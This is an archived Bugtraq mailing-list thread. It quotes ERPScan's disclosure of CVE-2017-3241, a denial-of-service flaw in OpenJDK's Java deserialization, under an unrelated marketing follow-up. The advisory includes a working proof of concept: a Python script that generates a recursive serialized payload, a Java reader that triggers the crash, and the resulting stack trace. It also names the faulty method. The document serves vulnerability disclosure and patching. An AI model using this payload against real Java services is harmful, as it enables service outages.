[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <!&!AAAAAAAAAAAYAAAAAAAAAMIbx2uVlKJPij9WDOh/a2fCgAAAEAAAACjTtW3uSrJNsVpgct5415IBAAAAAA==@statesprospective.com>
Date: Wed, 8 Mar 2017 14:33:41 -0500
From: "Melissa Mayer" <melissa.mayer@...tesprospective.com>
To: "'ERPScan inc'" <erpscan.online@...il.com>, <bugtraq@...urityfocus.com>
Subject: RE: CVE-2017-3241 - [ERPSCAN-17-006] Oracle OpenJDK - Java Serialization DoS
Hi,
Writing to check if you have received my previous email.
Looking forward to hear from you soon!
Regards,
Melissa Mayer | Marketing Manager
Global Leads Providers
-----Original Message-----
From: ERPScan inc [mailto:erpscan.online@...il.com]
Sent: Tuesday, January 24, 2017 4:14 AM
To: bugtraq@...urityfocus.com
Subject: CVE-2017-3241 - [ERPSCAN-17-006] Oracle OpenJDK - Java Serialization DoS
Application: Java SE
Vendor: Oracle
Bug: DoS
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
Reference: Oracle CPU Jan 2017
Author: Roman Shalymov
1. ADVISORY INFORMATION
Title: Oracle OpenJDK - Java Serialization DoS
Advisory ID: [ERPSCAN-17-006]
Risk: High
Advisory URL: https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
Date published: 17.01.2017
Vendor contacted: Oracle
2. VULNERABILITY INFORMATION
Class: Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-3241
CVSS Base Score: 9.0
3. VULNERABILITY DESCRIPTION
An attacker can cause DoS of the application which uses OpenJDK
Runtime Environment 1.8 as its core runtime engine.
4. VULNERABLE PACKAGES
OpenJDK Runtime Environment build 1.8.0_112-b15
5. SOLUTIONS AND WORKAROUNDS
Fix ObjectInputStream.skipCustomData() method, namely
readObject0(false); call in switch statement
Adress Oracle CPU January 2017
6. AUTHOR
Roman Shalymov (@shalymov)
7. TECHNICAL DESCRIPTION
An attacker can craft a malicious sequence of bytes that will cause
JVM StackOverflowError in the standard Java deserialization process if
it uses ObjectInputStream.readObject() method.
7.1. Proof of Concept
An attacker creates a malicious sequence of bytes, for example, using
this python script pwn_ser.py:
#!/usr/bin/env python2
import sys
exp = ""
#serialization header
exp += '\xac\xed\x00\x05'
exp1 = ''
exp1 += '\x72'
exp1 += '\x00\x0c'+'java.io.File'
exp1 += '\x41'*8
exp1 += '\x00'
exp1 += '\x00\x00'
exp += exp1 * 10000
sys.stdout.write(exp)
and save it in exp2.ser file
$ ./pwn_ser2.py > exp2.ser
Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:
Serialize_read.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Serialize_read {
public static void main(String args[]) throws Exception {
if(args.length < 1) {
System.out.println("usage:
"+Serialize_read.class.getSimpleName()+" [file]");
System.exit(-1);
}
FileInputStream fin = new FileInputStream(args[0]);
ObjectInputStream oin = new ObjectInputStream(fin);
try {
Object objFromDisk = oin.readObject();
String s = (String)objFromDisk;
System.out.println(s);
System.out.println("Successfully read!");
}catch(Exception e){}
System.exit(0);
}
}
Let's try to read our malicious file (we can also simulate this stuff
over network communication):
$ javac Serialize_read.java
$ java Serialize_read exp2.ser
It causes the following error dump:
Exception in thread "main" java.lang.StackOverflowError
at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)
at java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)
at java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)
at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)
at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)
at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
...
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
8. REPORT TIMELINE
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
10. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.
ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.
ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.
ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.
Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.
ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.
We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
Phone: 650.798.5255
Twitter: @erpscan
Scoop-it: Business Application Security
Powered by blists - more mailing lists